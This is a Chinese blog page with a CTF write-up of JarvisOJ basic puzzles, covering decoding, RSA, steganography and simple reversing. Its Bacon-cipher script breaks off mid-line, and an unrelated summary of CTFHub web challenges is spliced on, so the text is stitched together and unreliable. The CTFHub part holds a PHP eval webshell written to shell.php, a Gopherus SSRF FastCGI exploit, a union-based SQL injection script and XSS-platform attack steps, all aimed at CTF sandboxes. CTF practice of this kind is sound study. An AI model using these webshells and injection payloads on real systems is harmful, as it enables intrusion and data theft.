JarvisOJ basic部分WriteUp

本文是作者为了准备省赛而刷JarvisOJ基础部分的WriteUp,涉及多种类型的问题,包括Base64解码、网络安全、字符串处理、密码学、逆向工程、文件分析等。作者通过各个题目描述和解题过程,分享了解题思路和技巧,旨在帮助读者提升CTF技能。

0x0 前言

由于开学后会有一个省赛,作为一个好久没做过除re以外ctf题的小白,不得不抽出时间来刷一刷题…通过做JarvisOJ的basic部分确实学到了不少东西,感谢~

0x1 base64?

1.题目描述

GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI===

2.解题过程

base64?应该是base家族的,写个脚本decode一下。

import base64
str1='GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI==='
try:
    print base64.b64decode(str1)
except:
    try:
        print base64.b32decode(str1)
    except:
        print base64.b16decode(str1)

得到结果504354467b4a7573745f743373745f683476335f66346e7d,很明显,十六进制转字符就可以了~

flag=''
key='504354467b4a7573745f743373745f683476335f66346e7d'
for i in range(0,len(key),2):
    flag+=chr(int(key[i:i+2],16))
print flag

得到flag:PCTF{Just_t3st_h4v3_f4n}

0x2 关于USS Lab.

题目描述

USS的英文全称是什么,请全部小写并使用下划线连接_,并在外面加上PCTF{}之后提交

解题过程

百度uss lab可以搜到
usslab
OK,flag得到了。

0x3 veryeasy

题目描述

使用基本命令获取flag

解题过程

使用srings得到flag.
veryeasy

0x4 段子

题目描述

程序猿圈子里有个非常著名的段子:

手持两把锟斤拷,口中疾呼烫烫烫。

请提交其中”锟斤拷”的十六进制编码。(大写)

FLAG: PCTF{你的答案}

解题过程

对于不会的东西需要百度…
duanzi
好了,将三个字拼起来就得到了flag:PCTF{EFBFBDEFBFBD}

0x5 手贱

题目描述

某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧?

d78b6f302l25cdc811adfe8d4e7c9fd34

请提交PCTF{原来的管理员密码}

解题过程

在上面不容易看出,复制到别的地方还是可以轻松的发现上面md5比正确的值多了一位l。去掉l后得到d78b6f30225cdc811adfe8d4e7c9fd34,进行md5解密后即可。

题目描述

出题人丢下个logo就走了,大家自己看着办吧

解题过程

运用StegSolve的Frame Brower功能可以在第二桢中得到flag。
logo

0x7 veryeasyRSA

题目描述

已知RSA公钥生成参数:

p = 3487583947589437589237958723892346254777 q = 8767867843568934765983476584376578389

e = 65537

求d =

请提交PCTF{d}

Hint1: 有好多小伙伴问d提交什么格式的,现在明确一下,提交十进制的d

解题过程

运用RSA Tool计算出d.
veryeasyRsa

0x8 神秘的文件

题目描述

出题人太懒,还是就丢了个文件就走了,你能发现里面的秘密吗?

解题过程

利用linux的file得知所给文件为磁盘文件。
将磁盘文件挂载

mkdir ffffile &&sudo mount haha ffffile

挂载后可以查看文件中的内容
我们发现里面是253个只包含一个字符的文件
猜测可以把这些字符拼接起来得到flag.

flag=''
for i in range(254):
    file=open('ffffile/'+str(i))

    flag+=file.read()
    file.close()
print flag

file

0x9 公倍数

题目描述

请计算1000000000以内3或5的倍数之和。

如:10以内这样的数有3,5,6,9,和是23

请提交PCTF{你的答案}

解题过程
sum=0
for i in xrange(1000000000):
    if i%3==0 or i%5==0:
        sum+=i
print sum

一个简单的小脚本得到flag,这里注意一定要用xrange,不要用range!

0x10

题目描述

都说逆向挺难的,但是这题挺容易的,反正我不会,大家来挑战一下吧~~:)

解题过程

载入IDA,很容易就能找到关键代码

*(_WORD *)v5 = 0xDDABu;
  v5[2] = 0x33;
  v5[3] = 0x54;
  v5[4] = 0x35;
  v5[5] = 0xEFu;
  printf((unsigned __int64)"Input your password:");
  _isoc99_scanf((__int64)"%s", v6, *(_QWORD *)v5);
  if ( strlen(v6) == 26 )
  {
    v3 = 0LL;
    if ( (v6[0] ^ 0xAB) == list1 )
    {
      while ( ((unsigned __int8)v6[v3 + 1] ^ (unsigned __int8)v5[(signed __int64)(((signed int)v3 + 1) % 6)]) == list[v3] )
      {
        if ( ++v3 == 25 )
        {
          printf((unsigned __int64)"Congratulations!");
          return 0;
        }
      }
    }
  }
  printf((unsigned __int64)"Password Wrong!! Please try again.");
  return 0;
}

逆一下代码写脚本得到flag.

v5=[0xAB,0xDD,0x33,0x54,0x35,0xEF]
lists = [0xfb,0x9e,0x67,0x12,0x4e,
         0x9d,0x98,0xab,0x00,0x06,
         0x46,0x8a,0xf4,0xb4,0x06,
         0x0b,0x43,0xdc,0xd9,0xa4,
         0x6c,0x31,0x74,0x9c,0xd2,
         0xa0]
flag=chr(v5[0]^lists[0])
for i in xrange(1,len(lists)):
    flag+=chr(v5[i%6]^lists[i])
print flag

得到flag:
PCTF{r3v3Rse_i5_v3ry_eAsy}

0x11 Secret

题目描述

传说中的签到题

题目入口:http://web.jarvisoj.com:32776/

Hint1: 提交格式PCTF{你发现的秘密}

解题过程

查看响应头,可以找到疑似flag的字符串..
secret
提交上去没想到竟然是对的。

0x12 爱吃培根的出题人

题目描述

听说你也喜欢吃培根?那我们一起来欣赏一段培根的介绍吧:

bacoN is one of aMerICa’S sWEethEartS. it’s A dARlinG, SuCCulEnt fOoD tHAt PaIRs FlawLE

什么,不知道要干什么?上面这段巨丑无比的文字,为什么会有大小写呢?你能发现其中的玄机吗?

提交格式:PCTF{你发现的玄机}

解题过程

提示培根加密,直接用脚本,不过脚本得到的flag多了一个字母…不知道哪儿出了问题。

#coding:utf-8
import string
letters=string.uppercase
a="bacoN is one of aMerICa'S sWEethEartS. it's A dARlinG, SuCCulEnt fOoD tHAt PaIRs FlawLE"
str1=''
以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST['cmd']);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='srdnlrlphq'")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值